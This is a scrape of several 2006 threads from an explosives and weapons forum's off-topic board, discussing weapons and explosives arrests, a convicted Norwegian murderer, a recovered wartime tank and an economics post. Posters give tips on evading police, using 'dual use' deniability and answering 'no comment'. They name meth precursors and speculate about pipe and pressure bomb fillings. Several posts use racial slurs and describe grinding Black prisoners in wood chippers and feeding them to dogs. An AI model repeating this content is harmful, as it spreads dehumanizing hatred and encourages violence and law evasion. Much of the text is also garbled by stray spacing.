adequately prepared and evacuated everyone days in advance. Good ol fedgov knows best.
Perhaps he was a bit of a nut, but that is how the media would portray him in any circumstance. Looks like it was all the mother in laws doing if you ask me. It must be rather
hard to stockpile an arsenal and plan for the endtimes in a trailer along with your cohabitating gf and her mother. Im guessing the weddings off?

A British man is being held without bail on charges of stockpiling weapons
The British are comming, the British are comming, quick get your guns ... and turn them in! :D
(By that way Zorak is it true you eat your own young, or just newbies?)
Match September 20th, 2006, 09:50 PM

Caught by the (wo)man. Sounds like he got too cocky, and then his girlfriend had a bad week of pms and turned him in. Women =worse then the 'fedgov'
He should have PHDTS
IronMongrel September 26th, 2006, 07:49 PM

The U.S. has a bit of a draw for Brits, we can speak the language just like the natives, well, kinda, and its not too hard to blend in.
But the real draw is, that it isn't too hard to get a gun. You can go to a range and practice, you can join a club and compare notes or try other firearms.
I'm sure most Americans take this for granted, but in the Uk only a privilaged few get to use firearms.
I think its almost certainly a criminal offence in some way for me even to view this forum, which is genuinly quite scarey.
In the UK all avenues of emergency preparedness are being closed down.
They need a helpless population who can't look after themselves, it makes governing this multicultural nightmare so much easier.
I think thats why alot of Brits head to The States, though personally I'd be heading for Eastern Europe or Russia, its cheaper.
Marmaloon October 3rd, 2006, 01:39 AM

I have found some useful concepts (goes with out saying) in dealing with your contingency plans, 1 is 'dual use' and 2 is 'sub components and precursors'. Basically,
deniability;"Mr. Policeman, prove I was going to subvert this or that substance"
c.Tech October 3rd, 2006, 08:39 AM
Just possessing the chemicals are enough to send you to prison.
In drug manufacture charges you dont even need to make the drugs, do you really think the police are going to believe you if they find a couple of pounds of red
phosphorus, iodine crystals and about 100 packets of flu and cold relief tablets sitting around with lab equipment?
The same goes for explosives, you should know the police interrogation techniques and reply to every question "no comment".
If you want to be safer when you re at risk of being caught for one thing or another you should check out this thread (http://www.roguesci.org/theforum/water-cooler/
5423-methods-interrogation-forewarned-forearmed.html).
Marmaloon October 3rd, 2006, 04:11 PM

I'll take a look at it later, I'm sure I'll learn something good. I can say I'm glad the BATF is not up here to torture us. There was a book from Loompanics some time ago about
how to deal with the police. Could be some good crossover in it, even though it was mainly geared towards US law enforcement. What's also needed is a good book on how to
conduct business covertly, like the pros do.
Marmaloon October 4th, 2006, 02:21 AM

It would seem that it sucks to be him.
5_seven October 4th, 2006, 03:30 AM

Yes, I wonder what they'll give him. 10 years? 25? And they're talking of just sending an illegal immigrant back to mexico for shooting a cop four times in the head, no prison,
just a free ride home so he can come back over the border and do it again. I can smell the hypocracy, and it stinks worse than anything
nbk2000 October 4th, 2006, 03:36 AM

That's because there aren't too many canadians in the US, compared to the countless millions of beaners.
If the beaners stopped coming to the US, who'd pick our lettuce? :p

I'm sick of that excuse. I'd fucking do it, just to pass the time and earn some extra cash, though I sense a hint of sarcasm in your toneless words, mainly because of the smiley
;)
megalomania October 8th, 2006, 04:56 PM

A mexican killed a cop, and now he is being sent back to a country where the cops can reach out and have him killed in many nasty ways and there will never be more than a
few forms filled out for the investigation. They dont have a CSI: Mexico for a reason

The Explosives and Weapons Forum > Know ledge and Information > The Water Cooler > Best Gen Chem. Prof Ever! UNL Prof Arrested Over Distributing Explosives
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MEREDITH GRUNKE / Daily Nebraskan
September 12, 2006
While U.S. ambassador to the United Nations John Bolton prepared to speak at the University of Nebraska-Lincoln on Friday, an associate chemistry professor offered
homemade explosives to his students.
John Belot Jr., an associate chemistry professor at UNL, w as arrested Monday evening at home and transported to the Lancaster County Jail after he allegedly allow ed students
to take the explosive devices from his General Chemistry II class Friday morning.
Captain Carl Oestmann of University Police said Belot was charged with possession of a destructive device and unlawful sell of explosives, both of w hich are Class IV felonies. He
also was charged w ith storing explosives in violation of safety regulations, a misdemeanor.
Oestmann explained that "giving away" is covered under the unlawful sell of explosives statute.
Before the arrest, Belot w as suspended from the university w ith pay.
Chancellor Harvey Perlman said he was concerned after hearing about the situation, especially since it put people at risk of bodily harm and occurred on a day when a major
guest, Bolton, was scheduled to visit campus. "It's clearly not the kind of thing, at least with the information I currently have, you want to have going on at the university,"
Perlman said. Bolton spoke as part of the E.N. Thompson Forum on World Issues at the Lied Center for Performing Arts on Friday afternoon.
Kelly Bartling, a spokeswoman for the Office of University Communications, said the distribution of the explosives and Bolton's visit w ere only a coincidence, but the
ambassador's security officers were notified of the situation.
Bartling said she didn't believe the situation actually affected Bolton's security during the visit.
After the chemistry class ended Friday, some students turned a number of the devices in to University Police, which is now investigating the incident. Alison Sandoval, a
sophomore secondary education major and a student in Belot's class, said Belot was "acting like his normal self" in class Friday.
"Personally, the first day I met him the impression I got was, 'This guy is crazy,' " Sandoval said. "He's just a very high-strung guy . . . just all over the place." She said Belot
kept getting off topic during his lecture on solutions and talked about some explosives that his student assistant made during the summer. The assistant obtained the necessary
supplies using Belot's name, she said. Sandoval said Belot said that he had detonated one of the devices already, and that the explosive produced a small mushroom cloud, "like
mini H-bombs."
Belot sent a student to his office to retrieve a paper bag that contained the explosives, she said.
When the student c am e back with the bag, Sandoval noticed a corrosive liquid w as leaking from one of the corners of the bag. "I saw that, and I w as like, ' are you serious?'" she said.
Belot dismissed class early, Sandoval said, and she left too quickly to see if any students took the devices w ith them. Oestmann said eight of the explosives have been
recovered so far and are now in the possession of the Lincoln Fire Department. Oestmann wouldn't quantify how many of the devices could still be in the possession of students.
But in an e-mail sent to students in Belot's class, Vice Chancellor for Student Affairs Juan Franco said he believed students took nine of the devices. Bartling said the explosives
are cylinders three to four inches long and one inch in diameter. Some of them are painted silver and red.
"The materials are volatile and dangerous, and they could cause severe bodily injury," Bartling said. "And with any sort of homemade explosive like that, you just don't know
when it might explode."
Oestmann said the explosives are pow erful enough to destroy a hand or an arm.
And because they are homemade and were kept on campus, Oestmann and Bartling said the devices were completely illegal. Neither would comment on whether Belot would
face prosecution.
Belot could not be reached for comment, and chemistry department Chairman Patrick Dussault was out of town Monday.
Bartling said UNL administrators and the police are still trying to figure out what exactly happened during the class, and she w ouldn't speculate on Belot's behavior or motivation
for giving the explosives to students. Administrators also are looking into whether the chemistry department has more explosives on hand, she said.
Perlman said to his knowledge, this situation has not happened before at UNL.
"I don't think one has to do much to alert people that this is not the kind of behavior that is expected of the university," he said, adding that he didn't yet know the full facts of
the situation.
Franco and Perlman both said they were proud of the students who already returned some of the explosives, and they asked the remainder to follow suit.
Students who turn the devices over to the university w ill not be subject to disciplinary action, Franco said.
Oestmann said he was confident the rest of the explosives would be turned over to police sometime today.
"It's just not a safe situation," Bartling said. "Nobody will get in trouble or anything, we just need to have it back."
Anyone w ho has information about the missing devices should contact University Police at (402) 472-3555.

If a university chemistry professor can't be trusted with explosives, who exactly can w e trust? Why fedgov of course... I don't know what to make of this one. One must digest
the fedgov newspeak propaganda and read between the lines. Since fedgov is in the habit of calling anything a DANGEROUS EXPLOSIVE DEVICE!!!!! even if it is just a plastic
water bottle w ith a little extra air pressure, they can't be trusted. Fedgov is like the boy who cried w olf, w hen the real thing is about no one can tell. This is how fedgov likes it
of course. They want all the sheeple to believe every possible weapon is alw ays the most dangerous device of godless terrorism imaginable, and children w ill be slaughtered by
the billions unless fedgov saves the day.
The devices were 3 to 4 inch long cylinders, leaky cylinders. Call my a cynic, but, no, not even fedgov would sink that low, or would they? Yes they would. These cylinders
would not possibly, maybe, perhaps, sorta be batteries w ould they? This would not be the first time batteries have been called bomb making materials by fedgov gestapo jack
booted thugs out to taint the jury pool and secure additional funding. After all, cell phones are terrorist w eapons, are they not?
This would have been a harmless incident except this class had too many narcs. Narc fed wannabe Alison Sandoval is already well on her w ay to being indoctrinated into the gestapo
program. She will probably be circulating a petition to ban all those nasty chemicals from chemistry class. After all, w hat do chemicals have to do with chemistry? They are stinky, and
like, totally yucky. Like yeah K elly, like didnt you know like journalists have to like quote you like word for like word. Maybe you hoped they would edit your teenglish use of a gratuitous
"like" out? Another education major w ithout an education :)
I found a picture of the guy on another news website. I thought for a second it may have been a promo for the new season of 24 since he looks just like Keifer Sutherland.
http://ww w.ketv.com/news/9827948/detail.html
I can tell you this, this may affect his chances for tenure!

The only thing I can think of that w ould fit the description they gave that would constitute such an extreme danger would be a small pipe bomb filled w ith unw ashed NG.
But I don't think that's what they have. More likely, it's a small pressure bomb made from PVC pipe and filled w ith lye water or pool acid.
You'd think that by now every chemistry teacher in the country would know that teaching anything remotely dangerous to the products of the SSIF is dangerous to their
continued freedom.
Me, if I was a chemistry teacher, I'd not be teaching anything more dangerous than sugar dissolving in w ater. If the students ask for anything more interesting, I'd tell 'em:
Tough luck.
Thanks to your parents, political leaders, and mass-media, this is all you've been deemed safe to know.
If you want to learn how to make drugs or explosives, go to the library and learn it on your own, and keeping your mouth shut, before one of the five snitchs that are
statistically present in this class rat you out to the police for thought-crime, and before they remove the books for being 'too dangerous'.
Or, you can w ait to get hired by the Military-Industrial complex, where they'll teach you everything you'll need to know to make weapons of mass-control for use against your
fellow americans.
Now everyone stand up for your 2-minute hate!

Note how the "report" said that the devices w ere "powerful enough to destroy a hand or an arm"?
If pressure "bombs" are lethal, then the "explosive" that he w as handing out couldn't be any more than a christmas cracker in a lunch bag stained with last weeks mayonaise
from his sandwich.
Fear the corrosive mayonaise and the lethal christmas crackers!
And remember we are (and always have been) at war with Eurasia...

A small pile of gunpowder ignited in the open could produce a mushroom cloud. Remember, he w as preaching to his sheeple, and there is no better stylistic way to describe an
explosion than to say it makes a mushroom cloud simply because that is the most common frame of reference for a general audience. This is the impression I got w hen reading
his quoted words.
c.Tech October 3rd, 2006, 09:15 AM

After all, cell phones are terrorist w eapons, are they not?
Oh very m uch so, if you ow n more than one mobile it s off to a c ell for you. Evidence: http:// ww w.rogues ci.org/theforum/attachments/issues -opinions/806-liquid-explosives- terrorist-
plot-uk-foiled-1-hour-ago-stupid.jpg?d=1155557423
If I hold my friends iPod w hilst listing to my iRiver get arrested throw n into a jail for planning a terrorist attack to detonate 2 bombs killing approximately 100 people, no problem, I
mean its fair isn t it? Better to be save and sorry, we have to think of our freedom and most of all our children for generations to come. :rolleyes:
http://ww w.thealmightyguru.com/Humor/Images/USSupremeCourt.jpg
Australia is coming soon fellow aussies.
atlas#11 October 3rd, 2006, 01:04 PM

"The materials are volatile and dangerous, and they could cause severe bodily injury," Bartling said. "And with any sort of homemade explosive like that, you just don't know
when it might explode."
I laugh my ass off at this one. Volatile and dangerous? so is nail polish remover and gassoline you fucking pigs... And then it hits you, the people eat it up. Not only do they
believe every word, they love it. "OOHH! Something new to be afraid of? OH NO! Bew are college professors! They are terrorists in disguise! Don't let your children go to college,
they will be trained as terrorists!"
Fortunatly, it is possible to keep your intelligence a secret. Sure, do well in school, that will only help you. But if anyone asks you anything that you wouldn't have learned in
school, play dumb. If your friends arn't demanding militant action against the government, then they're not your friends, share nothing with them.
NBK, your quote was misleading. Five statistically placed snitches? It's far more likely that all but five kids in there are snitches. The whole fucking country has turned against
intelligence. The few students who are knowledgable of such things and are w illing to learn dispite their peers fear of terrorism are constantly shunned by them.
You are an intelligence bearer frodo, to bear a shred of intelligence, is to be alone.
WrathofHan October 4th, 2006, 04:12 AM

I completely agree that punishment for teaching something is a sin. As long as the teacher does not advocate violence, teaching should not call for punishment. Should martial
arts instructors be punished for teaching someone to fight?
Fighting can be considered against the law, but the instructors do not advocate violence. Knowledge is a tool. You can use it for its intended purposes or not. A sharp object is
meant to help doctors and chefs, but murderers can use them.
The same is w ith a piece of knowledge, one can use it to help or hurt others. Just because something can be used for evil does not mean it is only used for evil. Sorry for
preaching to the choir.

Liberals and knee jerk soccer moms do not use reason during their crusades against evil w eapons. The true path to getting your way is to be so stubborn and vociferous about
your cause that you adopt an extremist attitude bordering on insane obsession.
If I truly wanted I could shout from the rooftops about how many children are slaughtered by chef knives every year. If I had money and supporters I could have commercials
on TV, ads in magazines and newspapers, and bill boards crying out MY message. This advertising is what gets the sheeple to buy new jeans and a car they otherwise didnt
know they wanted. With popular support behind me, sooner or later a congressmen or senator will bend his rubber spine my way (or hold out his hand) and draft some
legislation of MY choosing. All I have to do is make up lies, or twist ONE incident out of context.
There are millions of knives out there, maybe millions of sex offenders, rapists, and murderers. In sheeple bleatspeak a sex offender is a potential rapist, and a rapist is a
potential murderer. It is not a stretch, then, w hen using propaganda to say they are all murders. Thus we have
In your town, and in your childs school a murderer is practicing his skills! Child rapists and would be murders have access to deadly weapons that surround us. They sell these
weapons at your local stores! No permit or background check is required. Any man can simply pay cash for these weapons and kill your child within minutes! Any sex offender
can have them! A man that knows your child has some in his home right now! Please send us money to rid the world of these terrible weapons of mass murder
You dont need to say what the object of your derision is, just use all the fear buzzwords to trick the people. Fear, propaganda, playing on the basic urge of mothers to protect
their children, it may be a bit more advanced than psych 101, but it is a well known and practiced science. Whether tricking you out of your money, or for your vote, these
psychological w arfare tactics, mass propaganda, and advertising tricks work all too well.
The squeaky wheel gets its greasen, or so the saying goes. Latch on to an issue, lie, cheat, and scream bloody murder until you get your w ay, and you usually will. You do not
actually have to believe in your cause so strongly; there is the trick. All you have to do is act the part because when it comes time to compromise, and you are forced to give
ground to the other side, you will end up w ith something approaching getting your w ay. A man who is central on an issue can be easily swayed by a man w ith extremist
viewpoints; this is why adopting an extremist viewpoint works. Hitler did it, the Democrats do it, the environmentalists and animal rights people do it, the anti- gun and drug
lobbyists do it, and so should you.
kurtz October 9th, 2006, 05:09 AM

http://ww w.unogateway.com/vnews/display.v/ART/2006/10/06/4525f6d2529e6
"According to UNL police, the explosives w ere described to be between 2 and 4 inches in length, housed in cardboard tubing that was red and silver in color. A green fuse w as
used as the ignition device."
From the hysteria, you'd think that it was plastic explosives and that he'd been quoting the Koran in class.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Im a rokker, yeah!
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You just gotta love those liberal Scandinavian types. They give us legal drugs, legal sex, and they dont care much for US copyright. One does wonder if maybe they
went too far with this nut
Varg Vikernes, 33, was known as Count Grishnackh in the days of his one-man music project BURZUM. A neo-Nazi today, he subscribes to "heathen Odalism" and is the creator
of the far-right All Germanic Heathen Front.
He was imprisoned for 21 years in 1993 for the murder of former friend Oystein Aarseth, also known as Euronymous, whom he stabbed 23 times. Aarseth was another leading
member of the black metal scene that caught the imagination of the Norwegian press after a series of arson attacks on churches back in the '90s.
Vikernes himself had also been found guilty of the arson of a church in Bergen.
In October 2003, he failed to return to prison after being granted a short leave, and was later apprehended by police with an unloaded assault rifle, 700 rounds of ammo, and a
handheld GPS system.
In case you missed the good part
In October 2003, he failed to return to prison after being granted a short leave
What kind of dumb ass legal system lets a nut like this go out on holiday from prison? Methinks they may not have fully rehabilitated the man. Its not like he
committed tax fraud, he stabbed his friend 23 times. Imagine what he would do to his enemies. This is why you should smack little posers who are into the emo scene.
Tell them to wash their hair, wash the makeup off their faces, and stop wearing so much black since thats why they get so depressed to begin with. If you need to cut
something, at least have the decency to cut yourself like all the other emo kids.
I have a picture of the upstanding citizen Varg is
borax September 19th, 2006, 10:09 PM

I think it's also worth mentioning that he burned down several churches. He put out this one electronic album when he was in jail, it was horrible.
These are my two favorite pictures of him:

http://www.burzum.org/img/varg_vikernes_1987-1999/big/varg_vikernes_1987-1999_65.jpg
http://www.burzum.org/img/varg_vikernes_1987-1999/big/varg_vikernes_1987-1999_01.jpg
Defendu September 19th, 2006, 11:35 PM

He was imprisoned for 21 years in 1993 for the murder of former friend Oystein Aarseth, also known as Euronymous, whom he stabbed 23 times.
http://www.burzum.org/eng/library/a_burzum_story02.shtml
Do a keyword search for the word "knife" to skip right to a first hand account of the killing.

Borax, in that first picture, he looks like your typical Aryan nord.
In the second, he looks like every Marilyn Manson wannabe Myspace emo that's ever put razor to forearm. :rolleyes:
The churches he burned were what? Christian, muslim, other? Really, it doesn't matter if he burned churches, since religions are the enemy of progress and humanity.
borax September 20th, 2006, 03:53 PM

From http://www.burzum.com/burzum/library/articles/kerrang.html :
Vikernes has a reason, a rationale, for his support of church burning. "We _support_ Christianity because it oppresses people, and we burn churches to make it stronger. We can
then eventually make war with it.
"Human beings are worthless and stupid," he scowls. "They're not supposed to think. They're supposed to follow a god or a leader."
Atleast a couple of them were christian churches, I remember reading an interview where he was talking about norse mythology and how he's unhappy with the way
christianity is taking hold in scandinavian countries.
This link has some pictures of one of the churches, and some other pretty funny pictures.
http://personal.inet.fi/musiikki/roosna/page1/pix1.htm
I really love the 'black metal' look, It makes me laugh everytime I see it. It's too bad these people don't get more organized and take on bigger 'projects'. I'd love to see a
couple hundred people dressed in black leather and facepaint charge into a football stadium with swords to slaughter people in the name of satan, to later get gunned down by
piggies. Yeahhhh, suicide is grimXfrostbitten.

religions are the enemy of progress and humanity.
But the sheep still need to believe that there is a higher power, it's what keeps them out of the way of real progress. And it's probabbly why the south is also called the bible
belt.
There is this one guy who shows up every year to our college with a big placard that says we're all going to hell because we're learning. He walks around the park that is in the
center of our university and gets yelled at by students for usually a solid 6-7 hours untill he gets tired and goes home.
I've often wanted to have a sit down talk with this fella and see what is going on inside his head. Because if he doesn't live in a cave/shanty with no electricity or running water
and doesn't make all his own cloths I will ridicule away his beliefs like I take care of dead hookers in the trunk of my car, quickly and efficiently.
Edit: Changed sentence structure.
I really don't care about him burning down the churches and seeing as how he is a neo-nazi it was probabbly Synagogue's. What I do care about is what the hell he was doing
out of prison especially after the brutal way that he murdered one of his former friends. He should be in there for life!!
+++++++=
were and we're (we are) are not the same thing. ;) NBK
Defendu September 20th, 2006, 08:01 PM

There is this one guy who shows up every year to our college with a big plackard that says were all going to hell because were learning. [..] and seeing as how he is a neo-
nazi it was probabbly Synagogue's.
http://seandocmartin.googlepages.com/aboutme
In case you missed the good part
Quote:
In October 2003, he failed to return to prison after being granted a short leave
What kind of dumb ass legal system lets a nut like this go out on holiday from prison?
Tragically this happens in Canada all the time, just recently somebody stabbed his teenage neighbour 20 times (the kid lived) and then this pillar of the community was
released on bail and allowed to go back and live in his own house, across the street from his victim (who I assume would be much easier to kill next time now that he has
been tenderized.) This shit goes on all the time, it just amazes me that we don't hear more about it (but then again that actually might start people thinking.)

Thank you, Hirudinea, for getting this back to my point. I don't care what he did, the fact is the liberals let the man go. On leave. From prison.
I think we need this over here. We could use the room for the negroid criminals, and white criminals are the lesser of the far greater evil. If they actually did do this in the US, I
imagine the exact opposite would happen... murdering, raping nigger scum let go to imprison harmless tax dodgers, those taxes being needed to fund the welfare state of
murdering, raping, dope smoking niggers.
Hirudinea September 23rd, 2006, 07:46 PM

Thank you, Hirudinea, for getting this back to my point. I don't care what he did, the fact is the liberals let the man go. On leave. From prison.
That was the gist of the thing.
I think we need this over here. We could use the room for the negroid criminals, and white criminals are the lesser of the far greater evil.
It dosn't work that way in our hug a thug, midnight basketball culture.
If they actually did do this in the US, I imagine the exact opposite would happen... murdering, raping nigger scum let go to imprison harmless tax dodgers, those taxes being
needed to fund the welfare state of murdering, raping, dope smoking niggers.
Of course, rapin' and killin' an' smokin' crack are just a part of the culture of the noble africian, but tax evasion now THATS A CRIME! We could easly solve our prision
overcrowding problems with the purchase and use of a few dozen (in the states a few hundered) industrial chippers. :eek:

Wasn't that the good use for Tom Cruise in that "War of the worlds" film? For fertiliser?

We could easly solve our prision overcrowding problems with the purchase and use of a few dozen (in the states a few hundered) industrial chippers.
Wasn't that the good use for Tom Cruise in that "War of the worlds" film? For fertiliser?
That whole movie was fertilizer! But anyway prision overcrowding could be solved with a far more liberial (you know what I mean) use of the death penalty, and a chipper
would be a good way to dispose of the bodies, as for what to do with the remains I suppose they would be used as fertilizer. (Is meat good fertilizer?)
Syke September 28th, 2006, 10:52 PM

You could feed the ground nigger to the guard dogs. Once they get addicted to the residual crack in the nigger burgers they will attack and devour niggers on sight. Then you
wont even need the chippers anymore:D
tmp September 29th, 2006, 11:19 AM

Anybody remember this outstanding person of African descent ?
He's serving a life sentence here in Maryland after brutally raping
several women in the same household. It seems that the liberal
do-gooders of Massachusetts, led by then-governor Michael
Dukakis, thought they should "Free Wiilie" and allow him to have a
short vacation from his life sentence(imposed for murder).
Instead he came to Maryland to continue his mayhem. Maryland,
upon learning of this, refused Massachusetts' request to return
him fearing a repeat performance.
George H.W. Bush was called a racist for using Willie's picture
and case history to defeat Dukakis in the 1988 presidential
election.
BTW, if you've ever seen the ATF's "relief from disability" form for
getting gun rights back, federal income tax evasion is listed among
the crimes that guarantee an outright refusal. The government
really does love its tax money !
Hirudinea October 2nd, 2006, 09:44 PM

You could feed the ground nigger to the guard dogs. Once they get addicted to the residual crack in the nigger burgers they will attack and devour niggers on sight. Then you
wont even need the chippers anymore
Oh thats to cruel a thing to do to the poor dogs, but if we could get the "McRib" Recipe from McDonalds the chipper residue could really help us cut down on the food bills for
the prisioners that we don't chip.
Anybody remember this outstanding person of African descent ?

He's serving a life sentence here in Maryland after brutally raping
several women in the same household. It seems that the liberal
do-gooders of Massachusetts, led by then-governor Michael
Dukakis, thought they should "Free Wiilie" and allow him to have a
short vacation from his life sentence(imposed for murder).
Instead he came to Maryland to continue his mayhem. Maryland,
upon learning of this, refused Massachusetts' request to return
him fearing a repeat performance.
Well at least some people have some sense.
George H.W. Bush was called a racist for using Willie's picture
and case history to defeat Dukakis in the 1988 presidential
election.
The use of "Racist" in that context was an example of what I believe Orwell called "Duckspeak", words which are simply blurted out without no more thought than a duck
quacking, most things liberals say are duckspeak.
BTW, if you've ever seen the ATF's "relief from disability" form for
getting gun rights back, federal income tax evasion is listed among
the crimes that guarantee an outright refusal. The government
really does love its tax money !
As far as the goverment is concerned depriving a citizen of his life is a shame but depriving the government of money is a crime.
BeerWolf October 7th, 2006, 06:04 PM

..The use of "Racist" in that context was an example of what I believe Orwell called "Duckspeak", words which are simply blurted out without no more thought than a duck
quacking, most things liberals say are duckspeak.
Nowadays the word "Racist" is just an liberal abbreviation of the phrase "I have no facts to back up the argument I'm losing so SHUT UP!"
5_seven October 7th, 2006, 08:37 PM

The Mexicans like to use it a lot too, here's an example:
white satanic devil monster[wsdm]- If you want to prosper in this country, you need to learn english, all the other immegrants do, the asians, the arabs, the europeans, etc.
Why can't you?
mexican- I shouldn't have to, America belongs to Mexico, you stole it from us. Why don't you learn spanish?
wsdm- So, you're not a mexican, you're a sioux, cherokee, apache, iriquois, or some other native american?
mexican- I shouldn't have to speak english, and you're a racist for wanting me to speak english. Go to hell you anglo peice of shit!!!
Hirudinea October 8th, 2006, 10:04 PM

Nowadays the word "Racist" is just an liberal abbreviation of the phrase "I have no facts to back up the argument I'm losing so SHUT UP!"
The Mexicans like to use it a lot too....
mexican- I shouldn't have to speak english, and you're a racist for wanting me to speak english. Go to hell you anglo peice of shit!!!
And unfortunatly we whites foll for it, we allow all logic and sense to be swept, we hear one word and go scurry into the corner like a sniviling coward. Tragic.
BeerWolf October 9th, 2006, 12:29 AM

And unfortunatly we whites foll for it, we allow all logic and sense to be swept, we hear one word and go scurry into the corner like a sniviling coward. Tragic.
Yep.
The "sanctuary city" laws passed all over the country were generally done by the white politicians, not the illegals.
And it's the generally white politicians in DC who have refused to enforce the borders for 20 odd years.

Appearently it's racism to point out the obvious these days. Sometimes I really don't understand how people are so dumb.
Oh yeah, my previous post was a fragment from an actual conversation that turned ugly quick.

My brother is forced to take a course about race at the university he attends. The course defines racism as "Racial prejudice with power and oppression" Which, the teacher
made clear, means only white people can be racist in America. How messed up is that, according to the class a black man can shoot and kill you for the sole reason that you
are white, and it is not racist because he isn't an oppressive white devil.

The course defines racism as "Racial prejudice with power and oppression" Which, the teacher made clear, means only white people can be racist in America.
Of course, but if the white man dares defend himself then he is a racist. Typical doublethink.
++++++++++
Don't quote whole posts. NBK

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > W W 2 Nazi tank found in near-
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S o m e fuckers have all the luck.
http://www.m il.hiium aa.ee.nyud.net:8090/2000_09_14_kurtna_T -34-36/
A genuine Nazi tank, com plete with shells, found in good condition at the bottom o f a l a k e , h a v i n g b e e n b u r i e d u n d er 3 m eters
of m ud for m ore than half a century.
festergrump S e p t e m b e r 2 0th, 2006, 09:17 AM

I wonder if they ever heard of the "Finders Keepers" rule in Estonia... ;)
Syke S e p t e m b e r 2 0th, 2006, 09:03 PM

How did it ge t there though? Did some Nazis just decide to see if it would m a k e a g o o d b o a t ? : c o n f u s e d :

A genuine Nazi tank
A R u s s i a n T a n k , u s e d b y t h e N a z i s , n o t a T i g e r , b u t m a k e s a g o od story.
S o m e fuckers have all the luck.
All I ever fou n d i n a l a k e w a s a d e a d f i s h !
nbk2000 S e p t e m b e r 2 1st, 2006, 02:40 AM

If it was used by the Nazis, has an Iron Cross on it, then it's a Nazi tank, regardless of who m ade it.
As to why it was in the lake, and how it was found, read the linked articles in the original U RL provided.
Hirudinea S e p t e m b e r 2 3rd, 2006, 07:27 PM

If it was used by the Nazis, has an Iron Cross on it, then it's a Nazi tank, regardless of who m ade it.
Ok, but it still would have been nice to have found a near pristin e Tiger tank, those things are rarer than chicken titties!
As to why it was in the lake, and how it was found, read the linked articles in the original U RL provided.
I did read it, I was just lamenting my poor luck at never having knowing anyone who's seen a tank beening driven into a lake.

Here's another mud tank that's pure Nazi. :)
http://www.detektorweb.cz/index.4m e?s=show&i=2988&m m=1&vd=1

Here's another mud tank that's pure Nazi.
W ell I can't read Ceczh (or spell it) but I did catch the word Stug in the info at the top of the article, and I thought looking at
the picture "That looks like a tank destroyer", so a few seconds googling came up with this link, enjoy (if you haven ' t g o o g l e d
the Stug yourself.)
http://www.achtungpa nzer.com /stug.htm
PlayDough S e p t e m b e r 2 7th, 2006, 01:01 AM

The story of how it was found is truly rem arkable.
W o u l d y o u r e m e m ber exactly where you were when you were a little boy 65 years ago and saw nothing m ore than a few air
bubbles rising up from a lake somewhere?
A n d h o w c o u l d y o u j u s t i f y t h e e x p e n s e o f u n d e r t a k i n g a n e x p e d i t i o n t o f i n d s o m e thing like that ba sed on that inform ation

a l o n e?

W h i l e d o i n g s o m e searching on Nazi tanks, I found this site with a L E G O T i g e r T a n k :
http://hom e p a g e 1 . n i f t y . c o m / s a s a p o n / l e g o _ t i g e r _ l a t e . h t m l
A japanese site with a bunch of lego tanks, both real and anime:
http://www2p .biglobe.ne.jp/~s-hf/toy/lego/baka00.htm
Even better, the spider tank from the final battle scene of Ghost in the Shell:
http://hom e p a g e 1 . n i f t y . c o m / s a s a p o n / l e g o _ s e c t 6 t a n k . h t m l
Put these here because there's no other threads relevant to post them in.
ronald October 8th, 2006, 09:05 AM

I doubt the tank has been restored to its full "glory", but it has been put to a small museum .
The map of the district where it is located: http://www.illukavv.ee/article.php?sid=59 Click the number "7" o n that m a p a n d y o u
get a list of what is in that small weapons m u s e u m . You m ust call the to the telephone number(add country code 372) given
o n t h a t p a g e and make an appointment with Igor, when will he let you in .
To get a broader view, where it is located, go to http://www.regio .ee/?setlang=eng and type "Illuka vald" to the search box.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > A dream for America
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GibbsFreeEnergy S e p t e m b e r 2 1st, 2006, 01:57 AM

I'm currently taking a m acroeconomics class at the college level and on our class forum (WebC t) we were discussing ways to
increase GDP. My idea involved shifting the idols of Am erican society from rap sta rs and actors to scientists and lab rats. My
thoughts on how it can increase GDP are written below. Please understand this was written on a level I was hoping m y peers
could follow. I didn't know where to post this but I just wanted to hear the opinion s o f a m o r e e d u c a t e d a n d r e s p e c t a b l e
p o p u l a t i o n t h a n i s p r e s e n t o n m y c l a s s r o o m forum. Plus, I know we all lo ve science here :)
My argum ent for the welfare o f our current society is clearly based upon
the divide between productive ends in terms of increase d producvity and
those of increased leisure. W hat I'm saying is that if m ore Am ericans
put themselves into positions which required them to receive a college
level education, Am erica's eco nomic growth would be ever more
stag gering. The am o u n t o f i d e a s p r e s e n t t h r o u g h A m erica's m a s s e s r e m a i n
dormant in the abyss that is the collective unheard thoughts of
Am erican's m inds- ideas striving to be stum bled upon far m o r e o f t e n t h a n
they would without a lot more people thinking about them. This represen ts
a large source of untapped potential.
People with true passion to a highly productive discipline, I'm arguing,

produce a higher
quality output than those who have a job only as a way to
generate for them s e l v e s a n i n c r e a s e d m a r g i n a l b e n e f i t ; m ateria l g o o d s .
If th e a d d e d m a r g i n a l benefit of one's work becom es in creased status in
society along with the benefit of material goods/services, m ore white
collar workers would be created by the allure of white collar positions.
Imagine a society in which our contemporary idols of en tertainment were

replaced with scientists and other entities that promote thinking as
vital; not cars, drugs, and money. This type of society, I think, would
become far more productive d ue to the major change in the labor force's
adequacy to produce an output. Far more ideas would p roduce far m ore
g o o d s t h r o u g h m a n y m e a n s i n c l u d i n g m ore efficient m ethods to allocate,
isolate, and create new resources. Further, the m e a n s o f production,
the capital stock, wou ld becom e far m ore effice nt offering an advance in
output. This is all really speculation an d I s u p p o s e I ' m rambling. I
don't feel I hold an elitist position, but I do believe this would
p r o m o t e r e m arkable prosperity for the Am erican economy.
nbk2000 S e p t e m b e r 2 1st, 2006, 08:24 AM

T h e e c o n o m ics of bom bs. :D
http://goldism oney.info/forum s / t 5 7 0 3 6 - b o m bs-and-economics-clif-droke.htm l
w22shadow S e p t e m b e r 2 1st, 2006, 09:41 PM

People with true passion to a highly productive discipline, I'm arguing, produce a higher quality output than those who have a
job only as a way to generate for them s e l v e s a n i n c r e a s e d m arg inal benefit; m aterial goods. C urrently, the form er trait
conveys very little benefit to the carrier. "Laissez-faire" encourages psychopathy. (http://www.time sonline.co.uk/article/
0 , , 1 1 0 6 9 - 1 7 8 6 9 4 9 , 0 0 . h t m l)...more white collar workers would be created by the a llure of white collar positions. Success in
college is partially-determined by I.Q., which a great deal of "white collar" jobs require. I.Q. is largely-determ ined by heredity;
if yo u want "white collar" workers, breed "white collar" workers. :)

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > LSD Being Tested on British Troops
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c.Tech September 21st, 2006, 05:07 AM

